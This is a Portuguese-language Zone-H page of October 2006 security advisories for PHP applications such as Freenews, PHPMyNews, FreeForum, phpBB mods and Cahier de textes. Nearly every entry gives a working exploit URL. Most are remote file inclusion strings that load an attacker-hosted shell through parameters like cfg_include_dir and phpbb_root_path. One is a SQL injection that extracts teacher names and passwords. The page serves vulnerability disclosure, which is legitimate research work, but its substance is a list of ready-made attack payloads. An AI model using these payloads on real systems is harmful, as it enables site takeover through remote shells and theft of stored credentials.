Zone-H - Unrestricted Information - Avisos de Segurança

Avisos de Segurança

08 de outubro de 2006
Nome do Script: Freenews Site do script: http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/freenews1_1.zip Versão Afetada: 1.1 e anteriores Encontrado pelo Turko XORON Email: x0r0n_at_hotmail.com Exploração: http://www.hedef.com/[freenews_path]/moteur/moteur.php?chemin=http://sh3LL?

PHPMyNews: Inclusão de Arquivos Remotos

08 de outubro de 2006

Nome do Script: PHPMyNews
Site do script: http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/phpmynews-1.4B1.zip
Versão Afetada: 1.4

Encontrado pelo Turko XORON

Email: x0r0n_at_hotmail.com

Exploração:

http://www.hedef.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://sh3LL?

Modulo Random User Registration Number: Inclusão de arquivos

07 de outubro de 2006
Nome do Script: phpBB Random User Registration Number Mod Site do script: http://www.nivisec.com/downloads/phpbb/random_image_register_v100.zip Versão Afetada: 1.0 Encontrado por bd0rk Email: - Exploração: http://sitename.com/[Path]/includes/functions_num_image.php?phpbb_root_path=http://[target]/Shell?

FreeForum : Inclusão de Arquivos Remotos

07 de outubro de 2006
Nome do Script: FreeForum Site do script: http://www.ezforum.de/downloads/Forum.zip Versão Afetada: 0.9.7 Encontrado pelo Turko XORON Email: x0r0n_at_hotmail.com Exploração: http://www.site.com/[path]/forum.php?cfg_file=1&fpath=http://sh3LL?

Cahier de textes: Injeção de Codigos SQL

07 de outubro de 2006

Nome do Script: Cahier de textes
Site do script: -
Versão Afetada: 2.0

Encontrado por s4mi
Email: s4mi[at]linuxmail[dot]org

Exploração:

http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=[SQL]

Ou

http://localhost/PATH/lire_a_faire.php?classe_ID=[SQL]

Exemplo:

http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=-1+union%20select%201,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*

phpBB User Viewed Posts Tracker Version: Inclusão de Arquivos Remotos

07 de outubro de 2006
Nome do Script: phpBB User Viewed Posts Tracker Version Site do script: http://www.nivisec.com/downloads/phpbb/user_viewed_posts.zip Versão Afetada: 1.0 Encontrado pelo Turko XORON Email: x0r0n_at_hotmail.com Exploração: http://www.site.com/[path]/includes/functions_user_viewed_posts.php?phpbb_root_path=http://SH3LL?

Mais...

<< Início < Anterior 1 2 3 4 5 6 7 8 9 10 Próximo > Fim >>

Resultados 183 - 208 de 240

[Voltar]